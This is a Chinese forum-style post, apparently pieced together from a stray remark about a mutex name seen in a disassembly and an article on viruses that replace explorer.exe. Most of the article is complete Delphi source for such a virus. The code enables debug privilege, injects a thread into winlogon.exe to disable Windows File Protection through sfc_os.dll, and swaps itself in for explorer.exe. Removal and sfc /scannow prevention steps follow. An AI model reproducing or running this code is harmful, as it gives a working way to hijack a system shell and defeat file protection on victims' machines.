根据黄金马甲的反汇编
查到了些资料
但是还是不清除为什么只有在你机器上有问题
0007FEF8 7FFDFC00 \MutexName = "C~d!3*v2m$21cdDf"
这好像是个互斥进程名 看程序是否已经运行的 但是跟哪台机器没关吧
关于最近很猖獗的explorer病毒
大家知道,以前的病毒感染explorer大部分都是插入线程技术,而最近以电子狗为开端,出现了大批替换explorer.Exe的病毒,导致杀毒软件杀毒后无法进入系统桌面。
本人喜欢手动杀毒,所以在中这种病毒后很长一段时间才发现。
首先我们可以用基础语言编写出这种病毒,代码如下
不用调用dllcache目录下
program Project1;
uses
Windows,TlHelp32;
function LowerCase(const S: string): string; //转小写
var
Ch: Char; L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= ’A’) and (Ch <= ’Z’) then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
function CreatedMutexEx(MutexName: Pchar): Boolean;
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, MutexName);
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
//CloseHandle(MutexHandle);
Result := False;
Exit;
end;
end;
Result := True;
end;
function GetWinPath: string; //取WINDOWS目录
var
Buf: array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>’\’ then Result := Result + ’\’;
end;
function GetTempDirectory: string; //取临时目录
var
Buf: array[0..MAX_PATH] of char;
begin
GetTempPath(MAX_PATH,Buf);
Result := Buf;
if Result[Length(Result)]<>’\’ then Result := Result + ’\’;
end;
function EnableDebugPriv : Boolean; //提权为DEBUG
var
hToken : THANDLE;
tp : TTokenPrivileges;
rl : Cardinal;
begin
result := false;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
if LookupPrivilegeValue(nil, ’SeDebugPrivilege’, tp.Privileges[0].Luid) then
begin
tp.PrivilegeCount := 1;
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
result := AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl);
end;
end;
procedure InjectThread(ProcessHandle: DWORD); //注入winlogon.exe 关闭XP文件保护
var
TID: LongWord;
hSfc,hThread: HMODULE;
pfnCloseEvents: Pointer;
begin
hSfc := LoadLibrary(’sfc_os.dll’);
pfnCloseEvents := GetProcAddress(hSfc,MAKEINTRESOURCE(2));
FreeLibrary(hSfc);
hThread := CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID);
WaitForSingleObject(hThread, 4000);
end;
procedure InitProcess(Name: string); //查找winlogon.exe进程PID
var
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
ProcessHandle:dword;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
if Process32First(FSnapshotHandle,FProcessEntry32) then begin
repeat
If Name = LowerCase(FProcessEntry32.szExeFile) then
begin
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID);
InjectThread(ProcessHandle);
CloseHandle(ProcessHandle);
Break;
end;
until not Process32Next(FSnapshotHandle,FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
const ExpFile = ’explorer.exe’;
MasterMutex = ’OpenSoul’;
var
s: string;
begin
if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆体
if not EnableDebugPriv then Exit; //提权失败退出
InitProcess(’winlogon.exe’) ; //注入winlogon.exe 先关闭xp的文件保护 .预防系统的还原
s := ParamStr(0) ; //取本名
if LowerCase(s) <> LowerCase(GetWinPath + ExpFile) then //判断自己是不是系统下的explorer.exe
begin //如果不是
MoveFileEx(PChar(GetWinPath + ExpFile),PChar(GetWinPath + ’system32\explorer.exe’),MOVEFILE_REPLACE_EXISTING); //先移动正在运行的explorer.exe
CopyFile(PChar(S),PChar(GetWinPath+ ExpFile),false) ; //把自己复制到windows目录 为explorer.exe
end;
WinExec(PChar(GetWinPath + ’system32\explorer.exe’),1); //运行真正的explorer.exe
end.
一旦中招,抱歉,只有重新替换explorer.exe
正确替换办法:首先,在你的电脑的Windows文件夹下找到explorer.exe文件,右键单击该文件,查看属性,查看版本标签。在版本标签中有文件版本编号,记下这个文件版本编号。找一个同你电脑所安装操作系统相同的电脑,使用同样的方法查看explorer.exe的文件版本编号,同你的电脑的编号进行比较。如果完全相同,复制这个文件到你电脑中(使用在邮件中插入附件,QQ传送或者U盘)。
然后按下 Ctrl+Alt+Del键(或者在任务栏上单击右键,选择任务管理器),进入任务管理器。在进程窗口中找到explorer.exe进程,右键单击该进程,选择停止进程。现在你桌面上的东西全消失了。单击任务管理器的文件菜单,单击新建任务,单击浏览按钮。将你从其他电脑上弄来的explorer.exe找到,复制粘贴到windows文件夹中,替换原来的exporer.exe文件。然后在任务管理器的新建任务对话框中输入explorer。你的桌面恢复正常了。
而电脑中这种病毒,电脑中毒,系统程序被病毒替换的原因是用户没有开启“windows文件保护”,或者未完全执行“windows文件保护”步骤中的sfc/scannow。
预防方法(适用于未中毒的):
1、点击“开始”、“运行”。2、键入cmd,按回车。3、键入sfc/scannow,按回车。4、耐心等待windows文件保护扫描完成。5、完成windows文件保护扫描后,再检查以下dllcache文件夹(受保护的系统文件缓存处),发现文件数目达3340个。6、最后,再查看一下“组策略”中的相应设置
如有纰漏,请大家指出并改正 |